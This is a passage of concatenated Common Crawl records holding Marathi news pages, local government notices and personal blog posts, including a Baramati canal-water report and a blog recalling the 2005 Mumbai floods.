करावी\nदूरसंचार क्षेत्रात 6.2 अब्ज डॉलर्सची विदेशी गुंतवणूक\nव्यापारी संघटनांचा 28 रोजी भारत बंद\nभारताची तेल मागणी वाढणार\nजुलैमध्ये 11 लाख रोजगारनिर्मिती\nटँकरच्या भाडय़ातून 310 कोटी लुटले\nपण लक्षात कोण घेतो\nसौंदर्य तर मनांत असते\nCategories Select CategoryAutomobilesleadingnewsNew Category NameTop NewsVideoआवृत्तीउद्योगकोल्हापुरक्रिडागोवापुणेबेळगांवभविष्यमनोरंजनमाहिती / तंत्रज्ञानमुंबईरत्नागिरीराष्ट्रीय-आंतरराष्ट्रीयविविधाविशेष वृत्तसंपादकिय / अग्रलेखसांगलीसातारासिंधुदुर्गस्थानिक\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00246.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://lokmat.news18.com/tag/pune-it-girl-sucide/", "date_download": "2018-09-25T16:47:51Z", "digest": "sha1:CLHMKXNM4LFL6UCUQ7FFZSE7YHMUYPI7", "length": 9355, "nlines": 109, "source_domain": "lokmat.news18.com", "title": "Pune It Girl Sucide- News18 Lokmat Official Website", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nपुण्यात आयटीत काम करणाऱ्या तरुणीची आत्महत्या\nमुंढवा येथील आयटी कपनीत काम करणा-या 22 वर्षीय तरुणाने इमारतीच्या सातव्या मजल्यावरून उडी मारून आत्महत्या केलीय. अश्विनी गवारे (वय-22, रा. शिरूर) असे आत्महत्या केलेल्या मुलीचे नाव आहे.\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00247.warc.wet.gz", "language": "mr", "language_score": 0.91, "bucket": "all"} {"url": "http://www.esakal.com/mumbai/problem-solve-salary-junior-college-teachers-128395", "date_download": "2018-09-25T17:50:59Z", "digest": "sha1:CBRU5OCO2ZSHRAYCOQPZLR3H2DISL6ER", "length": 11708, "nlines": 176, "source_domain": "www.esakal.com", "title": "problem solve of the salary on junior college teachers ज्युनिअर कॉलेजमधील वाढीव पदांवरील शिक्षकांच्या वेतनाचा प्रश्न मिटला | eSakal", "raw_content": "\nज्युनिअर कॉलेजमधील वाढीव पदांवरील शिक्षकांच्या वेतनाचा प्रश्न मिटला\nगुरुवार, 5 जुलै 2018\nमुंबई : आमदार कपिल पाटील यांनी मागील अर्थसंकल्पीय अधिवेशनामध्ये विधान परिषद नियम 93 अन्वये 2003 ते 2011 पर्यंत मंजूर झालेल्या ज्युनिअर कॉलेजमधील 171 वाढीव पदांवरील शिक्षकांच्या वेतनाबाबत सूचना मांडली होती.\nमुंबई : आमदार कपिल पाटील यांनी मागील अर्थसंकल्पीय अधिवेशनामध्ये विधान परिषद नियम 93 अन्वये 2003 ते 2011 पर्यंत मंजूर झालेल्या ज्युनिअर कॉलेजमधील 171 वाढीव पदांवरील शिक्षकांच्या वेतनाबाबत सूचना मांडली होती.\nआज नागपूर येथे सुरु असलेल्या पावसाळी अधिवेशनामध्ये ज्युनिअर कॉलेजमधील 171 वाढीव पदांवरील शिक्षकांच्या वेतनाबाबत आमदार कपिल पाटील यांच्या 93 सूचनेनुसार पुरवणी मागणी मंजूर झाली आहे. त्यामुळे त्या 171 ज्युनिअर कॉलेजमधील वाढीव पदांवरील शिक्षकांच्या वेतनाचा प्रश्न अखेर मार्गी लागला आहे. गेल्या 10 ते 15 वर्षांपासून विनावेतन काम करणाऱ्या ज्युनिअर कॉलेजमधील 171 वाढीव पदांवरील शिक्षकांना न्याय मिळाल्याबद्दल शिक्षक भारती ज्युनिअर कॉलेज युनिटचे प्रा.शरद गिरमकर यांनी शिक्षक आमदार कपिल पाटील आणि शासनाचे आभार मानले आहेत. त्याचप्रमाणे शासनाने शालार्थ वेतनप्रणाली त्वरित कार्यान्वित करावी,वैयक्तिक मान्यता मिळालेल्या शिक्षकांना 18.5.20 18 च्या जी आर नुसार त्वरित ऑफलाईन पद्धतीने वेतन अदा करावे आणि इतर प्रलंबित न्याय्य मागण्या शासनाने त्वरित मान्य कराव्यात अशी अपेक्षा प्रो. गिरमकर यांनी व्यक्त केली.\nबाळासाहेब खोटे बोलतात : गुलाबराव गावंडे\nअकोला : राष्ट्रवादी काँग्रेसचे सर्वेसर्वा आणि महाराष्ट्रातील बहुजनांचे नेते शरद पवार यांच्यामुळेच भारिप बहुजन महासंघाचे नेते अॅड. बाळासाहेब...\nउदयनराजेंबाबत शरद पवारांचा 'यॉर्कर' \nसातारा : उदयनराजेंच्या उमेदवारीला सातारा जिल्ह्यातील राष्ट्रवादीच्या आमदारांचा विरोध अशा बातम्या पसरत आहेत. तोपर्यंतच राष्ट्रवादी काँग्रेसचे...\nगोवा : आमदार गावकरांचा वन महामंडळ अध्यक्षाचा राजीनामा\nपणजी : राज्यातील भाजप सरकारला पाठिंबा दिलेले सांगेचे अपक्ष आमदार प्रसाद गावकर यांनी आज गोवा वन विकास महामंडळाच्या अध्यक्षपदाचा राजीनामा दिला...\nपक्षीमित्रांनी दिले सातभाई पक्षाला जीवदान\nनिजामपूर-जैताणे (धुळे) : माळमाथा परिसरातील लोणखेडे (ता.साक्री) येथील जिल्हा परिषद शाळेचे प्राथमिक शिक्षक, पक्षीमित्र राकेश जाधव, गोकुळ पाटील व कढरे (...\nमहाराष्ट्राला झाल्या मुली हव्याशा...\nनागपूर - एकीकडे नकोशा म्हणून नाकारल्या जात असताना दुसरीकडे मुलींना दत्तक घेण्याचे प्रमाण महाराष्ट्रात वाढले आहे. नकोशा असलेल्या नवजात मुलींना अपत्य...\nरिफंड आणि इतर आर्थिक व्यवहार\nरिफंड आणि इतर आर्थिक व्यवहार\nतनिष्का स्त्री प्रतिष्ठा अभियान\nतनिष्का स्त्री प्रतिष्ठा अभियान\nसकाळ इंटरनॅशनल लर्निंग सेंटर\nसकाळ इंटरनॅशनल लर्निंग सेंटर\neSakal च्या बातम्यांसाठी सबस्क्राईब करा\neSakal च्या महत्वाच्या बातम्यांची आणि ब्रेकिंग न्यूजची नोटिफिकेशन्स तत्काळ मिळविण्यासाठी सबस्क्राईब करा.\n* आपण नोटिफिकेशनसंबंधी हवे ते बदल ब्राऊजर सेटिंग्जमध्ये जाऊन कधीही करू शकता.\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00248.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://baal-saloni.blogspot.com/2010/09/blog-post_22.html", "date_download": "2018-09-25T17:48:09Z", "digest": "sha1:2MKNP2HYQAGFQQY2GC64IIEIRYAOKM2R", "length": 8804, "nlines": 65, "source_domain": "baal-saloni.blogspot.com", "title": "बाल-सलोनी: न्युअर्कहून .... नावात काय आहे?", "raw_content": "\nन्युअर्कहून .... नावात काय आहे\nमला आता वाटते की यापुढच्या लेखांची नावे अशीच द्यावीत ... मागचा लेख पीट्सबर्ग हुन लिहिला होता .आता हा न्युअर्कहून .... बऱ्याचदा भारतीय लोक न्युअर्कला नेवार्क म्हणतात. मीसुद्धा म्हणायचो .. बऱ्याचदा ऐकुनही मला कळले नव्हते ... ५-६ वर्षे पन्नास एक वाऱ्या करुन आता कळु लागले आहे. मला वाटते वय वाढते तसे कान आणि एकंदरीतच मेंदु काहीही नविन चटकन आत्मसात करत नाही. कुठे बाहेर फिरायला गेलो आणि काही खायचे असेल तर आम्ही म्हणतो मॅकडोनाल्ड. परंतु सिद्धु म्हणायचा मकडोनल्ड. त्याचा तो उच्चार कळे पर्यंत बरेच दिवस लागले आपल्या आडनावाचे असेच झाले आहे आता. लोकांना इथे जगताप म्हणायला भयंकर त्रास होतो. अगदी फेफरेच. त्यामुळे त्यांना जॅगटॅप सांगायला लागते. त्याचेदेखील ते जॅकटॅब करतात. कधी कधी कंटाळुन मी म्हणतो ठीक आहे. .... बरोबर ... जॅकटॅब. त्यावर काही माणसे म्हणतात. थॅन्क गॉड आय डिड्न्ट वॉण्ट टु से समथिंग रॉंग ... मी कपाळावर हात मारतो.\nपरंतु आपण मराठी माणसे तरी बरी. ही बरीचशी पंजाबी मंडळी ... रिकी, बॉबी, सॅमी असलीच काहीतरी नावे लावतात. आणि नंतर कळते की त्याचे नाव नरेंद्र आहे. आता रिकी आणि नरेंद्र यात काय साम्य आहे. चीनी लोकांचे मी थोडेतरी समजु शकतो. शांग्ड्र्र्र्र्र्र्र्रंंंंंंंंं असले काहीतरी नाव म्हणणे म्हणजे कच्ची कोळंबी खाऊन ढेकर दिल्यासारखे वाटते. खरेच त्यामुळे माझ्या त्या मित्राने त्याचे नाव ठेवले सायमन. अजुन एक चीनी मित्र त्याचे नाव होते \"हायहुआ त्यामुळे माझ्या त्या मित्राने त्याचे नाव ठेवले सायमन. अजुन एक चीनी मित्र त्याचे नाव होते \"हायहुआ\" यामध्ये प्रश्नचिन्ह नावातच आहे. कारण प्रश्नचिन्ह असेल तर मुलगा नाहीतर मुलगी असे काहीतरी तो म्हणाला. त्याने त्याचे नाव एडी ठेवले. मी कुठेतरी ऐकले होते की जगात सर्वात प्रेमळ शब्द कोणते असतील तर आपल्या नावाने कोणी आपल्याला हाक मारत असेल ते\" यामध्ये प्रश्नचिन्ह नावातच आहे. कारण प्रश्नचिन्ह असेल तर मुलगा नाहीतर मुलगी असे काहीतरी तो म्हणाला. त्याने त्याचे नाव एडी ठेवले. मी कुठेतरी ऐकले होते की जगात सर्वात प्रेमळ शब्द कोणते असतील तर आपल्या नावाने कोणी आपल्याला हाक मारत असेल ते त्यामुळे मी त्याला \"हायहुआ त्यामुळे मी त्याला \"हायहुआ\" अशी हाक मारायचो. परंतु त्याला काही ते आवडत नसेल असे मला दिसु लागले. म्हणुन मी एडी झिंदाबाद म्हटले\" अशी हाक मारायचो. परंतु त्याला काही ते आवडत नसेल असे मला दिसु लागले. म्हणुन मी एडी झिंदाबाद म्हटले परंतु चीनी माणसे एकंदरीत खरोखरीच अगदी भारतीयांसारखी. फार काहीही फरक नाही. जवळपास तेच गुणदोष परंतु चीनी माणसे एकंदरीत खरोखरीच अगदी भारतीयांसारखी. फार काहीही फरक नाही. जवळपास तेच गुणदोष असो ... जपानी माणसे मात्र आपल्या नावाच्या बाबत अगदी आग्रही. आयजी ला आमच्या वर्गातील एक अमेरिकन पोरगी एजी म्हणायची त्याला काही ते आवडायचे नाही. आता आपली युपी ची तायडी असली असती आणि एजी म्हणाली असती तर त्याचा भलतात अर्थ झाला असता आणि त्या एजीच्या तोमोएने तिच्या झिंज्या उपटल्या असत्या. तशी तोमोए सामुराई घराण्यातील होती. असो ... परंतु आयजी ला माझे कौतुक वाटायचे कारण मी \"कोनोसुके मात्सुशिता\" \"अकिओ मोरिटा\" \"अकिरा कुरासावा\" \"अमुक तमुक नाकामुरा\" वगैरे अशी नावे त्याच्या समोर लिलया फेकायचो. त्यामुळे आयजी माझ्यावर जाम फिदा होता. आता आपली मराठी भाषाच अशी आहे की जसे लिहितो तसे बोलतो. जपानी भाषा तशी अगदी सरळ आहे .... (असा माझा भ्रम अजुनही आहे असो ... जपानी माणसे मात्र आपल्या नावाच्या बाबत अगदी आग्रही. आयजी ला आमच्या वर्गातील एक अमेरिकन पोरगी एजी म्हणायची त्याला काही ते आवडायचे नाही. आता आपली युपी ची तायडी असली असती आणि एजी म्हणाली असती तर त्याचा भलतात अर्थ झाला असता आणि त्या एजीच्या तोमोएने तिच्या झिंज्या उपटल्या असत्या. तशी तोमोए सामुराई घराण्यातील होती. असो ... परंतु आयजी ला माझे कौतुक वाटायचे कारण मी \"कोनोसुके मात्सुशिता\" \"अकिओ मोरिटा\" \"अकिरा कुरासावा\" \"अमुक तमुक नाकामुरा\" वगैरे अशी नावे त्याच्या समोर लिलया फेकायचो. त्यामुळे आयजी माझ्यावर जाम फिदा होता. आता आपली मराठी भाषाच अशी आहे की जसे लिहितो तसे बोलतो. जपानी भाषा तशी अगदी सरळ आहे .... (असा माझा भ्रम अजुनही आहे\nअसो ... परंतु आमचे विमान गेट ला लागले आहे. ४:३० ला होते. त्या विमानात बिघाड झाला त्यानंतर दुसरे विमान रद्द झाले. त्यानंतर पुढचे विमान इथे उतरवता आले नाही कारण पावसामुळे विमानतळ बंद केला ... आणि आता सहा तासांनंतर अखेरिस आमच्यासाठी \"सवारी\" इथे आलेली आहे. फिनिक्सापर्यंत पोचेपर्यंत १-२ वाजणार यात काही संशय नाही.\nअलास्का - भाग १\nन्युअर्कहून .... नावात काय आहे\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00249.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "http://www.dainikprabhat.com/%E0%A4%95%E0%A4%BE%E0%A4%B2%E0%A4%B5%E0%A5%8D%E0%A4%AF%E0%A4%BE%E0%A4%A4%E0%A5%82%E0%A4%A8-%E0%A4%AA%E0%A4%BE%E0%A4%A3%E0%A5%80-%E0%A4%AC%E0%A4%BE%E0%A4%B0%E0%A4%BE%E0%A4%AE%E0%A4%A4%E0%A5%80/", "date_download": "2018-09-25T17:23:46Z", "digest": "sha1:SNVDRAKB3OOPPKEZIWEUNRGC76ZUGFNS", "length": 10873, "nlines": 132, "source_domain": "www.dainikprabhat.com", "title": "कालव्यातून पाणी… बारामती “बारमाही’साठी | Dainik Prabhat, Marathi News Paper, Pune.", "raw_content": "\nकालव्यातून पाणी… बारामती “बारमाही’साठी\n : भाटघर, निरादेवघर धरणांतून वीरमध्ये आलेले पाणीही कालव्यातून सोडले\nनीरा – भोर तालुक्‍यातील निरादेवघर 100 व भाटघर धरणांत 100 टक्के पाणीसाठा असताना या धरणांतून वीर धरणात पाणी सोडण्यात येत असले तरी नीरा डावा व उजव्या कालव्याद्वारे हे पाणी पुरंदर ऐवजी बारामतीत वाहत आहे. नीरा डावा कालव्यातून 500 तर उजव्या कालव्यातून 800 क्‍युसेक पाणी सोडण्यात आले असल्याने भोरमध्ये खडखडाट, पुरंदर कोरडा तर बारामतीत धरण नसतानाही पाणीच पाणी अशी स्थिती आहे. या धरण लाभ क्षेत्रातील गावांना शेतीला पाणी आवश्‍यक असले तरी पिण्याकरिता प्राधान्य क्रमाने पाणी साठविणे गरजेचे असताना केवळ बारामती बारमाही ठेवण्यासाठी पाटबंधारे खात्यावर दबाव येतो का असाही सवाल यातून पुढे येत आहे.\nभोर तालुक्‍यातील भाटघर आणि नीरादेवघर धरणं यावर्षी 100 टक्के भरून वाहत आहेत. या पाण्याचा लाभ भोरसह पुरंदरमधील गावांना मिळणे गरजेचे असताना केवळ भरले धरण की सोड पाणी.., अशा कारभारामुळे या पाण्याचा लाभ बारामतीला बारमाही होत आहे. विशेष, म्हणजे नीरा नदीच्या माध्यमातून याचा लाभ इंदापुरलाही होत आहे. भाटघर आणि निरादेवघरचे पाणी वीर मध्ये आल्यानंतर याचा लाभ पुरंदर तालुक्‍यातील जेऊर, मांडकी, पिंपरे बु., नीरा, निंबुत, सोमेश्वर नगर, वडगाव निंबाळकर अशा काही गावांना होतो. परंतु, यातील बहुतांशी पाणी हे बारामती आणि तेथून पुढे इंदापूर सोलापूरमार्गे कर्नाटकात वाहून जात आहे. अन्य, राज्यात वाहून जाणारे पाणी अडविल्यास पुरंदरलाही याचा मोठा लाभ होवू शकतो. याकरिता गुळुंचे येथून कऱ्हानदीत कालव्याद्वारे पाणी नेता येवू शकते. मात्र, हा प्रस्ताव केवळ कागदोपत्रीच असून यावर कुठल्याही पातळीवर चर्चा झालेली नसल्याने दोन्ही धरणातील पाणी वाहून जात आहे.\nयावर्षीही बारामती तालुक्‍यात दुष्काळीस्थिती असताना वीर धरणांत आलेले पाणी सोडण्यात आले आहे. यामुळे बारामतीत पाऊस नसतानाही बहुतांशी भाग ओलाताखाली आहे. अगदी फलटण पर्यंत हे पाणी जात असताना पुरंदर मधील मांडकी, जेऊर, पिंपर या सारख्या गावांना मात्र पुढील काही महिन्यांत या पाण्याचा लाभ होणार नाही. नीरा नदी खोऱ्यामध्ये यावर्षी पावसाचे प्रमाण कमी असल्याने धरणांतील पाण्याचे नियोजन होणे गरजेचे आहे. निरादेवघर व भाटघर धरणांतून पाणी सोडण्यात येत असल्याने अगदी डिसेंबर, जानेवारी पर्यंत वीर धरणात केवळ 10 टक्के पाणीसाठा शिल्लक राहतो. यामुळे नीरा खोऱ्यांतर्गत गावांपुढे पाणी टंचाईचे संकट हे ठरलेलेच असते.\nनीरा नदी खोऱ्यांमधील धरणं ही मान्सुनच्या पावसाने भरत असतात. कालव्यातून सोडलेल्या पाण्याचा वापर शेती व उद्योगांसाठी मोठ्या प्रमाणात होत असल्यानेही पुरंदरमधील नीरा खोऱ्यातील गावांना पाणी टंचाईची झळ बसत असते. त्यामुळे वरील धरणांतून येणाऱ्या पाण्याचे नियोजन हाच पाणी टंचाईवरचा उपाय आहे.\nनियोजनानुसारच पाणी सोडले जाते. पाण्याचा अपव्य होऊ नये यावरही लक्ष असते. परवानाधारक शेतकऱ्यांना आवश्‍यक तेवढेच पाणी दिले जाते. पाणी चोरीसारख्या प्रकारांनाही आळा घालण्यासाठी भरारी पथके आहेत.\n– विजय नलवडे, कार्यकारी अभियंता, नीरा शाखा\nताज्या बातम्यांसाठी प्रभातचे मोबाईल अॅप डाऊनलोड करा\nPrevious articleवेस्ट इंडिजचा संघ आॅक्टोबरमध्ये भारत दौऱ्यावर, पुण्यातही रंगणार सामना\nNext articleमोबाइल टॉवरच्या विरोधात महिलांचा ठिय्या\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00250.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "http://zpyavatmal.gov.in/htmlpages/chalughadamodi.html", "date_download": "2018-09-25T17:49:17Z", "digest": "sha1:XOQPIBIYVHBKXGBYUDE3PBQH6UJEY6FP", "length": 2136, "nlines": 14, "source_domain": "zpyavatmal.gov.in", "title": " जि.प. यवतमाळ", "raw_content": "\nचार चाकी वाहन भाडे तत्वावर घेण्याकरिता दरपत्रके मागविणे बाबत(राष्ट्रीय आरोग्य अभियान)\nपी.पी.आर. व एकटांग्या (Black Quarter)लसीचे दर पुरविणेबाबत.(पशुसंवर्धन विभाग)\nपरिचर वर्ग-४ कर्मचाऱ्यांची अंतिम जेष्ठता यादी.\nशिक्षण विभाग(माध्यमिक)-डेस्क बेंच चे दर पुरविण्याबाबत.\nजाहिरात : तालुका अभियान व्यवस्थापन कक्षासाठी प्रशिक्षण केंद्र निवडी बाबत ( उमेद ).\nई-निविदा सूचना : प्रोग्रामर आणि डेटा एन्ट्री ऑपरेटर इत्यादी मनुष्यबळ पुरविण्याकरिता संस्थेची निवड करणेबाबत.\nरचना व निर्मिती - आय.टी. सेल सामान्य प्रशासन विभाग, यवतमाळ.\nसूचना - सदर संकेतस्थळावरील माहिती जिल्हा परिषद, यवतमाळ यांनी प्रसिद्ध केली आहे. अधिक माहिती करिता संकेतस्थळ व्यवस्थापक उप-मुख्य कार्यकारी अधिकारी ( सा.प्र.) जिल्हा परिषद, यवतमाळ यांच्याशी संपर्क साधावा.", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00250.warc.wet.gz", "language": "mr", "language_score": 0.97, "bucket": "all"} {"url": "https://mahasports.co.in/vijay-goel-begins-clean-up-of-asian-wrestling-venue/", "date_download": "2018-09-25T17:01:37Z", "digest": "sha1:HWKAVCPUKIPJXGSAUJ7UBW2VCNYAP6O3", "length": 7385, "nlines": 58, "source_domain": "mahasports.co.in", "title": "केंद्रीय क्रीडामंत्री विजय गोयल यांनीच केली स्वच्छतागृहाची सफाई -", "raw_content": "\nकेंद्रीय क्रीडामंत्री विजय गोयल यांनीच केली स्वच्छतागृहाची सफाई\nकेंद्रीय क्रीडामंत्री विजय गोयल यांनीच केली स्वच्छतागृहाची सफाई\nकेंद्रीय क्रीडामंत्री विजय गोयल सध्या भारतात होणाऱ्या अंडर १७ विश्वचषकाच्या तयारीकडे जातीने लक्ष देत आहेत. कधी सुरु असलेली कामे पाहून आनंद तर कधी नजरंगी ते प्रकट करत आहेत. ही स्पर्धा स्वप्नवत होण्यासाठी त्यांनी कंबर कसली आहे. तरीही काही बारीक-सारीक गोष्टींमुळे येणाऱ्या पाहुण्यांना कोणताही त्रास नको म्हणून क्रीडामंत्री सर्व मैदाने स्वतः फिरत आहेत.\nगेल्या आठवड्यात त्यांनी इंदिरा गांधी स्टेडियमला भेट देऊन तेथील स्वच्छतागृहांची अचानक पाहणी केली तेव्हा ती अतिशय अस्वच्छ असल्याचे दिसताच स्वतःच साफसफाईला सुरवात केली. कांही दिवसांपूर्वी येथे कुस्ती स्पर्धा झाल्या होत्या व त्यात आंतरराष्ट्रीय पैलवानही सहभागी झाले होते. त्यावेळी स्वच्छतागृहे घाणेरडी असल्याच्या तक्रारी केल्या गेल्या होत्या.\nक्रीडामंत्र्यांनी याची दाखल घेत मैदानाला भेट दिली. त्यावेळी स्वच्छतागृहांबाहेर टिश्यू पेपरचे बोळे पडल्याचे दिसताच त्यांनी स्वतः टिशू पेपर उचलायला सुरुवात केली. तसेच बरोबर असलेल्या दिल्लीकर युवा क्रिकेटपटूंना मदत करायला सांगितली. यावेळी त्यांनी मैदानातील अन्य विभागांनाही भेटी दिल्या. त्यात त्यांनी मुले व मुलींच्या हॉस्टेल तसेच जिमनॅस्टिक हॉल, बॉक्सिंग हॉलची पाहणी केली.\nVideo: विराट कोहली, मिराबाई चानूने राष्ट्रपतींच्या हस्ते स्विकारला खेलरत्न पुरस्कार\nटीम इंडियाकडून या क्रिकेटपटूने केले वनडे पदार्पण\nएमएस धोनी ठरला भारताचा आजपर्यंतचा सर्वात वयस्कर कर्णधार\n200 वनडेत नेतृत्व करणारे कर्णधार\nटाॅप ३- धोनीसह केवळ या दोन दिग्गजांनी २०० वनडे सामन्यात केले संघाचे नेतृ्त्व\nआणि धोनी पुन्हा झाला टीम इंडियाचा कॅप्टन कूल\nजर अफगाणिस्तान एशिया कपमध्ये आज टीम इंडियाविरुद्ध जिंकला तर….\nएशिया कप २०१८: टीम इंडियासाठी या कारणामुळे अफगाणिस्तान आहे धोकादायक\nरोहित, शिखरच्या शतकांमुळे चहलचा हा विक्रम राहिला दुर्लक्षित\nम्हणून हरभजन सिंगने केले थर्ड अंपायरला ट्रोल\nशिखर धवनच्या हॅक झालेल्या ट्विटर आकाउंटवरुन राशीद खानला आला मेसेज\nसर्बियन ज्युनियर, कॅडेट ओपन टेबल टेनिस स्पर्धेत भारतीय खेळाडूंची तब्बल 18 पदकांची कमाई\nलिटिल चॅम्पियनशिप सिरीज 2018स्पर्धेत आर्यन किर्तने, शार्दुल खवले, प्रिशा शिंदे यांना विजेतेपद\n‘धोनी रिव्हू सिस्टिम’ या प्रणालीची का होत आहे इतकी चर्चा\n19 वर्षाखालील निमंत्रित क्रिकेट स्पर्धेत पीवायसी व एमसीए 1, तर व्हेरॉक व पूना क्लब संघांचा उपांत्य फेरीत प्रवेश\nअखिल भारतीय खुल्या फिडे रेटिंग बुद्धिबळ स्पर्धेत एकूण १९२ खेळाडू झुंजणार\nपाकिस्तान विरूद्धच्या सामन्यात रोहित शर्माची विक्रमांची बरसात\nनव्या मौसमासाठी एफसी पुणे सिटीच्या नव्या जर्सीचे अनावरण\nरोहित शर्माने केला शिखर धवनबाबतीत एक खास खुलासा\nकर्णधारपद रोहित शर्मासाठी ठरतयं फलदायी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00250.warc.wet.gz", "language": "mr", "language_score": 0.98, "bucket": "all"} {"url": "https://www.mithileshbhoir.in/2009/", "date_download": "2018-09-25T18:01:22Z", "digest": "sha1:L7Q3PKNW5HEVM6AG3XNM3ZOOTGLE6IZN", "length": 11006, "nlines": 134, "source_domain": "www.mithileshbhoir.in", "title": "Mithilesh Bhoir Blog©: 2009", "raw_content": "\n२६ जुलैच्या कटू आठवणी : मुंबई\nविज्ञान आणि तंत्रज्ञानाच्या जोरावर मानवाने अनेक प्रगती आणि विकासाची नवी शिखरे पादाक्रांत केली असली तरी निसर्ग आपल्या अस्तित्वाची झलक मानवाला वारंवार देत आला आहे.भूकंप,महापूर,अतिवृष्टी यांसारख्या नैसर्गिक आपत्तींना सामोरे जाताना मानव अगदी निष्प्रभ ठरतो.निसर्गाच्या शक्तिपुढे दैवी शक्तीचेही काही एक चालत नाही.\nनिसर्गाच्या अशा प्रकारच्या रौद्रशक्तिचा साक्षात्कार २६ जुलै,२००५ रोजी मुंबईकरांनी अनुभवला.कोणी कल्पनाही करू शकत नाही की,अवघ्या १२ तासात ९४४ मिलिमिटर एवढ्या विक्रमी पावसाची नोंद या दिवशी झाली.ऐन समुद्राच्या भरतीच्या वेळी आभाळ फाटल्यासारखा पाऊस कोसळल्याने तसेच ठिकठीकाणी नाल्यांना नदीचे स्वरुप आल्याने मुंबईच्या अनेक सखल भागात पाणी साचले व जनजीवन विस्कळीत झाले.धरण क्षेत्रातही भरपूर पाऊस पडल्याने ते सरासरी पातळी पेक्षा जास्त भरले.यास्तव धरणाचे जास्तीचे पाणी सोडून द्यावे लागले.परिणामी,अनेक ठिकाणी साचलेल्या पाण्यात भरच पडली.त्यामुळे संपूर्ण मुंबईत पूरसदृश्य परिस्थिती निर्माण झाली.विक्रमी पावसापासून वाहतूक प्रणालिही वाचू शकली नाही.रेलवे रुळावर पाणी असल्याने तसेच अनेक ठिकाणी रेलवे रुळ भरावासह वाहून गेल्याने मुंबईची रक्तवाहिनी समजली जाणारी रेलवे सेवा ठप्प झाली.विमानतळाच्या धावपट्टीवर 